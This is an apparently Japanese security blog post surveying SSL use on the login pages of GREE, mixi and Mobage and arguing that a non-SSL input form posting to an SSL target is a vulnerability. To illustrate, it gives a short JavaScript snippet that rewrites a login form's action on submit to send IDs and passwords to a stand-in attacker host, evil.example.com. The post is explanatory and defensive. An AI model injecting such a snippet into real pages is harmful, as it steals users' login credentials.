この件に関連して、私はtwitterで以下のようにつぶやきました。
こう説明すれば良い。『通信内容は、正常時には暗号化されますが、攻撃により暗号化が回避される可能性があります。攻撃を受けていないときは暗号化され、個人情報はもれないので、ご安心ください』当然ながら、攻撃を受けていない状況では暗号化は必要ないわけで、上記の「ご安心ください」は無意味です。入力フォームをSSLにしないというのは、つまりそういうことです。
https://twitter.com/ockeghem/status/285230605359276032
twitterを見ておりましたら、gree.jpのIDとパスワード入力画面がSSLでないという話題を見かけました。確認してみると、確かに入力画面ははSSLでなく、送信先ページはSSLで、ログイン後は非SSL（HTTP）のページに戻ります。
既に、高木浩光氏の日記『SSLを入力画面から使用しないのはそろそろ「脆弱性」と判断してしまってよいころかも』などに説明されているように、SSLを使う場合、入力画面からそうするべきという原則は既に浸透してもよさそうなものですが、必ずしもそうではないのが現状です。このため、gree以外も調べてみることにしました。greeの同業者、mixi、モバゲーをあわせて3大SNSの調査です。
【結果】PC版
- gree: 入力画面は非SSL 送信先はSSL（ただし、標準を選択すると、共に非SSLに）
- mixi: 入力、送信先共に非SSL（ただし、SSLを選択すると、共にSSLに）
- モバゲー(Yahoo!mobage): 入力、送信先共にSSL
ついでに、スマートフォン版Webについても調べました。
【結果】スマートフォン版
- gree: 入力画面は非SSL 送信先はSSL
- mixi: 入力、送信先共に非SSL（ただし、SSLを選択すると、共にSSLに）
- モバゲー: 入力、送信先共にSSL
送信先のみSSLはgreeだけ
上記のように、入力画面が非SSLで、送信先がSSLという組み合わせはgreeのみでした。この組み合わせは良くないといわれています。その理由は2つあります。まず、入力画面が非SSLであると、なりすまし画面を見分けることが難しくなります。DNSキャッシュポイズニングやARPスプーフィング攻撃により、利用者が正しいドメイン名を指定しても、ブラウザに表示される画面が偽物ということはあり得ます。実際、2008年にさくらインターネットのホスティングサーバーにてARPスプーフィング攻撃による不正コード挿入の問題が発生しています。
参考：さくらインターネットの一部ホスティングサーバーに不正コード挿入の被害
このような場合でも、SSLを使っているページでは、攻撃を防止することが出来ます。
(1)中間者攻撃の場合はブラウザが証明書エラーを表示するので利用者が気づく
(2)中間者攻撃でない場合は改ざん・盗聴ができないので被害に至らない
入力画面からSSLにすべきという2番目の理由は、そうしないとSSLの効果が大きく損なわれるからです。
入力画面に重要情報がなく、盗聴によるリスクがあまりない場合でも、入力画面を改ざんされるリスクはあります。この場合、たとえばform要素のaction属性（送信先）を書き換えるという攻撃があり得ます。例えば、ログイン画面のform要素が以下の場合、
<form name="login" action="https://example.jp/logindo.php" method="post">
action属性を http://evil.example.com/ （攻撃者のサイト）と変更することで、重要なIDとパスワードを盗むことが出来ます。利用者がこれを確認することは非常に困難です。例えば攻撃者は、action属性を変更をぎりぎりまで遅らせることが出来ます。以下のJavaScriptは、ログインボタン押下時にaction属性を変更する例です。
document.login.onsubmit = function() {
document.login.action="http://evil.example.com/";
}
このスクリプトをHTMLのどこかにしのばせることにより、利用者が送信先変更に気づくことを防ぐことが出来ます。利用者が、このような「仕掛け」に気づくことは困難です。このように、せっかくSSLを使うのであれば、入力画面からSSLにしないと意味がありません。脆弱性診断の際にこの種の問題が見つかった場合、多くの診断業者は脆弱性判定するでしょう。危険度は低～中というところでしょうか（ベンダーにより差異があります）。
SSLをまったく使わないのはどうか
一方、SSLをまったく使わない場合、「好ましくはないが脆弱性とまでは言えない」という判定になります。これは、とまどう人が多いことでしょう。「送信先がSSLであれば盗聴されることはないのに脆弱性と判定され、まったくSSLを使わない場合より『悪い』とはどういうことだろうか」という疑問が生じます(実際には盗聴のリスクはありますが素朴な疑問としてこう書いています)。この疑問に対しては、以下のように回答することができます。SSLを使わないサイトは、盗聴のリスクを受容していると解釈できます。この場合、SSLを使わないこと自体は脆弱性とは言えません。一方、SSLを使っているサイトは、盗聴のリスクが受容できないと判断しているはずです。この場合、SSLの使い方が不完全なために盗聴等のリスクが生じる場合は、脆弱性と判断することになります。
SSL使用が要求あるいは強く推奨されるケース
上記は一般論ですが、サイトの特性によってはSSLの使用が要求される、あるいは強く推奨されます。下記のケースでは、SSLを使っていないとポリシー違反（脆弱性）となります。- PCI DSSなど通信の暗号化を要求するスタンダードに準拠する場合
- サイトを運営する企業・団体のセキュリティポリシーでSSLの使用を要求している場合
- プライバシーポリシーでSSLの使用を明示あるいは暗号化通信などを約束している場合
4.1 オープンな公共ネットワーク経由で機密性の高いカード会員データを伝送する場合、強力な暗号化とセキュリティプロトコル（SSL/TLS、IPSEC、SSHなど）を使用して保護する。前記「3大SNS」のプライバシーポリシーを確認したところ、SSLないし暗号化という言葉は使っていないようです。このため、「SSLでないからと言って脆弱性とまではいえない」と考えられます。
また、スマートフォン向けのWebサイトでは、公衆無線LANを使うケースが多く信頼できない無線LANアクセスポイントにつないでしまうリスクも現実的であることから、通常のサイトよりも、SSLの使用を積極的に判断した方がよいでしょう。
また、SNSの利用局面を考えると、近年はWi-Fiでの利用が増えていることから、SSLの利用範囲を広げることが望ましいと考えます。
